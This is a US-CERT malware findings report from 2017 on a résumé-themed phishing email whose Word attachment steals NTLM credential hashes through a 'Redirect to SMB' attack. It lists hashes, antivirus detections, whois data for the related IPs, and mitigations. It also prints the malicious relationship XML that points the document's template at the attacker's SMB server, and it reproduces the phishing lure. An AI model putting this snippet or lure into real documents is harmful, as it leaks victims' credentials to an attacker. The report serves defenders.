



**NCCIC**  
NATIONAL CYBERSECURITY AND COMMUNICATIONS INTEGRATION CENTER

**US-CERT**  
UNITED STATES COMPUTER EMERGENCY READINESS TEAM

## Malware Initial Findings Report (MIFR) - 10128830

2017-10-13

### Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see <http://www.us-cert.gov/tlp/>.

### Summary

#### Description

US-CERT received an artifact for analysis, a résumé-themed phishing email with an attached malicious Microsoft Word Document. Analysis of the artifact indicates the use of a "Redirect to SMB" attack to steal the victim's credentials.

Additional analysis on related activity is also referenced in MIFR-10128327 and MIFR-10128336.

#### Emails

<b>Processed</b>	1
------------------	---

#### Files

<b>Processed</b>	1
	722154a36f32ba10e98020a8ad758a7a (CV Controls Engineer.docx)

#### IPs

<b>Identified</b>	2
	5.153.58.45
	91.183.104.150

## Emails

### Details

<b>From</b>	
<b>Sender</b>	
<b>Subject</b>	
<b>Timestamp</b>	2017-05-15T09:54:47
<b>Source IP</b>	91.183.104.150

### Raw Body

Hello, [Victim]

Over 10 years Controls/Software Experience

Software development for PLC based control systems:  
SIEMENS S5, S7-200, S7-300, S7-400 series,  
Rockwell 5000, 500 series.  
SCADA, HMI configuration.

Various Conveyor system experiences  
Networking with PLC's: Ethernet, PROFIBUS-DP, PROFINET MPI, ASi, DeviceNet, DH+  
EPLAN

Multi – skilled controls engineer with experience in hands-on project based work. Experience ranges from budget estimate and managing electric engineering projects to developing and commissioning software for PLC - SCADA control systems.

I Look forward to hearing back.

Best Regards,

### Relationships

(E) Related\_To (I) 91.183.104.150

### Description

This resume themed phishing email entices a victim to open the malicious attachment, CV Controls Engineer.docx. The email message has a X-Originating-IP, 91.183.104.150.

## Files

### CV Controls Engineer.docx

#### Details

<b>Name</b>	CV Controls Engineer.docx
<b>Size</b>	19261
<b>Type</b>	Microsoft Word 2007+
<b>MD5</b>	722154a36f32ba10e98020a8ad758a7a
<b>SHA1</b>	2872dcdf108563d16b6cf2ed383626861fc541d2
<b>ssdeep</b>	384:Dk5kSg2bPvHjd1cogul38al2TUGThYGBUvolkGDJ4LMwa7nXp:DkGMjjOn8yTUQzuw7VB37n5
<b>Entropy</b>	7.85923994786

#### Antivirus

<b>McAfee</b>	W97M/Downloader.cdg
<b>BitDefender</b>	Trojan.GenericKD.12004346
<b>Microsoft Security Essentials</b>	Trojan:O97M/Inoff.A
<b>Sophos</b>	Troj/DocDI-JMD

<b>TrendMicro House Call</b>	TROJ_RELSLODR.D
<b>TrendMicro</b>	TROJ_RELSLODR.D
<b>Emsisoft</b>	Trojan.GenericKD.12004346 (B)
<b>Ahnlab</b>	DOC/Downloader
<b>ESET</b>	DOC/TrojanDownloader.Agent.U trojan
<b>Ikarus</b>	Trojan-Downloader.MSWord.Agent

### Relationships

(F) CV Controls Engineer.docx (72215) Connected\_To (I) 5.153.58.45

### Description

This Word Document uses a "Redirect to SMB" attack to steal victim credentials. This Word Document contains an embedded file URL, "file:]/5.153.58.45/Normal.dotm", within its relationship component "word/\_rels /settings.xml.rels." When the Word Document is opened, the file URL causes Windows to automatically attempt to authenticate to the malicious SMB server at 5.153.58.45 by providing the encrypted user credentials (NTLM v2 Hash) without prompting the user or without the user's knowledge. The operator may then capture the NTLM hash and attempt to crack the password via brute force attack.

The malicious SMB server has the following IP:

-- Begin IP --

5.153.58.45

-- End IP --

-- Begin Content "word/\_rels/settings.xml.rels" --

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="file:]/5.153.58.45/Normal.dotm"
TargetMode="External"/>
</Relationships>
```

-- End Content "word/\_rels/settings.xml.rels" --

## IPs

### 5.153.58.45

#### URI

- file:]/5.153.58.45/Normal.dotm

#### Ports

- 445

#### Whois

% Information related to '5.153.58.32 - 5.153.58.63'

% Abuse contact for '5.153.58.32 - 5.153.58.63' is 'abuse[@]softlayer.com'

```
inetnum:      5.153.58.32 - 5.153.58.63
netname:      NETBLK-SOFTLAYER-RIPE-CUST-RB18917-RIPE
descr:        Sogeti Nederland B.V.
country:      NL
admin-c:      RB18917-RIPE
tech-c:       RB18917-RIPE
status:       ASSIGNED PA
mnt-by:       MAINT-SOFTLAYER-RIPE
created:      2015-09-21T18:57:03Z
last-modified: 2015-09-21T18:57:03Z
source:       RIPE
```

```
person:      Robert Berkenpas
address:      Lange Dreef 17
```

address: Vianen, 4131NJ NL  
 phone: +1.866.398.7638  
 nic-hdl: RB18917-RIPE  
 abuse-mailbox: robert.berkenpas[ @]sogeti.nl  
 mnt-by: MAINT-SOFTLAYER-RIPE  
 created: 2015-09-21T18:57:00Z  
 last-modified: 2015-09-21T18:57:00Z  
 source: RIPE

% This query was served by the RIPE Database Query Service version 1.89.2 (ANGUS)

#### Relationships

(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Characterized_By	(W) % Information relate
(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(U) file:]/5.153.58.45/Normal.dotm

#### 91.183.104.150

#### Whois

% Information related to '91.183.104.0 - 91.183.107.255'

% Abuse contact for '91.183.104.0 - 91.183.107.255' is 'abuse[ @]skynet.be'

inetnum: 91.183.104.0 - 91.183.107.255  
 netname: BE-SKYPNET-20011108  
 descr: Pro 91GKK3  
 descr: Belgacom ISP SA/NV  
 country: BE  
 admin-c: SN2068-RIPE  
 tech-c: SN2068-RIPE  
 status: ASSIGNED PA  
 mnt-by: SKYPNETBE-MNT  
 mnt-by: SKYPNETBE-ROBOT-MNT  
 created: 2011-03-04T14:10:18Z  
 last-modified: 2011-03-04T14:10:18Z  
 source: RIPE

role: Skynet NOC administrators  
 address: Belgacom SA de droit public  
 address: SDE/NEO/RPP/DTO/DIN - Stroo Building  
 address: Boulevard du Roi Albert II, 27  
 address: B-1030 Bruxelles  
 address: Belgium  
 phone: +32 2 202-4111  
 fax-no: +32 2 203-6593  
 abuse-mailbox: abuse[ @]skynet.be  
 e-mail: abuse[ @]skynet.be  
 e-mail: cops[ @]belgacom.be  
 e-mail: mailadmin[ @]skynet.be  
 e-mail: noc[ @]skynet.be  
 admin-c: BIEC1-RIPE  
 tech-c: BIEC1-RIPE  
 nic-hdl: SN2068-RIPE  
 remarks: \*\*\*\*\*  
 remarks: Abuse notifications to: abuse[ @]belgacom.be  
 remarks: Abuse mails sent to other addresses will be ignored !  
 remarks: \*\*\*\*\*  
 remarks: Network problems to: noc[ @]skynet.be  
 remarks: Peering requests to: peering[ @]skynet.be  
 notify: noc[ @]skynet.be  
 mnt-by: SKYPNETBE-MNT  
 created: 1970-01-01T00:00:00Z  
 last-modified: 2013-10-01T09:04:36Z  
 source: RIPE

% Information related to '91.180.0.0/14AS5432'

route: 91.180.0.0/14  
 descr: SKYNETBE-CUSTOMERS  
 origin: AS5432  
 notify: noc[@]skynet.be (E) Email  
 mnt-by: SKYNETBE-MNT  
 created: 2006-09-04T13:08:39Z  
 last-modified: 2006-09-04T13:08:39Z  
 source: RIPE

#### Relationships

(I) 91.183.104.150	Characterized_By	(W) % Information relate
(I) 91.183.104.150	Related_To	(E) Email

### Relationship Summary

(E) Email	Related_To	(I) 91.183.104.150
(F) CV Controls Engineer.docx (72215)	Connected_To	(I) 5.153.58.45
(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Characterized_By	(W) % Information relate
(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(U) file[:]//5.153.58.45/Normal.dotm
(W) % Information relate	Characterizes	(I) 91.183.104.150
(I) 91.183.104.150	Characterized_By	(W) % Information relate
(I) 91.183.104.150	Related_To	(E) Email
(P) 445	Related_To	(I) 5.153.58.45
(W) % Information relate	Characterizes	(I) 5.153.58.45
(U) file[:]//5.153.58.45/Normal.dotm	Related_To	(I) 5.153.58.45

### Mitigation Recommendations

US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection:

- 5.153.58.45
- 91.183.104.150

US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organization's systems:

- Maintain up-to-date antivirus signatures and engines.
- Restrict users' ability (permissions) to install and run unwanted software applications.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Keep operating system patches up-to-date.
- Enable a personal firewall on agency workstations.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats; implement appropriate ACLs.

### Contact Information

- 1-888-282-0870
- [soc@us-cert.gov](mailto:soc@us-cert.gov) (UNCLASS)

- [us-cert@dhs.sgov.gov](mailto:us-cert@dhs.sgov.gov) (SIPRNET)
- [us-cert@dhs.ic.gov](mailto:us-cert@dhs.ic.gov) (JWICS)

US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: <https://forms.us-cert.gov/ncsd-feedback/>

---

## Document FAQ

---

**What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or [soc@us-cert.gov](mailto:soc@us-cert.gov).

**Can I submit malware to US-CERT?** Malware samples can be submitted via three methods. Contact us with any questions.

- Web: <https://malware.us-cert.gov>
- E-Mail: [submit@malware.us-cert.gov](mailto:submit@malware.us-cert.gov)
- FTP: <ftp://malware.us-cert.gov/malware> (anonymous)

US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at [www.us-cert.gov](http://www.us-cert.gov).

---